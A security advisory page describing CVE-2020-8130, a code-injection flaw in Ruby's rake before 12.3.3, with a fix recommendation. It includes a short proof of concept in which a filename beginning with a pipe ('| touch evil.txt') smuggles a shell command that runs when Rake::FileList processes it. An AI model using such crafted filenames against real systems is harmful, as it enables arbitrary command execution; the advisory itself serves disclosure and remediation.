Arbitrary Code Injection Affecting rake package, versions <12.3.3


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.07% (32nd percentile)

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  • Snyk IDSNYK-RUBY-RAKE-552000
  • published24 Feb 2020
  • disclosed24 Feb 2020
  • creditKatsuhiko Yoshida

Introduced: 24 Feb 2020

CVE-2020-8130  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

Upgrade rake to version 12.3.3 or higher.

Overview

rake is a Make-like program implemented in Ruby.

Affected versions of this package are vulnerable to Arbitrary Code Injection in Rake::FileList when supplying a filename that begins with the pipe character |.

PoC by Katsuhiko Yoshida

% ls -1
Gemfile
Gemfile.lock
poc_rake.rb
vendor
| touch evil.txt
% bundle exec ruby poc_rake.rb
["poc_rake.rb", "Gemfile", "Gemfile.lock", "| touch evil.txt", "vendor"]
poc_rake.rb:6:list.egrep(/something/)
Error while processing 'vendor': Is a directory @ io_fillbuf - fd:7 vendor
% ls -1
Gemfile
Gemfile.lock
evil.txt
poc_rake.rb
vendor
| touch evil.txt

References

CVSS Scores

version 3.1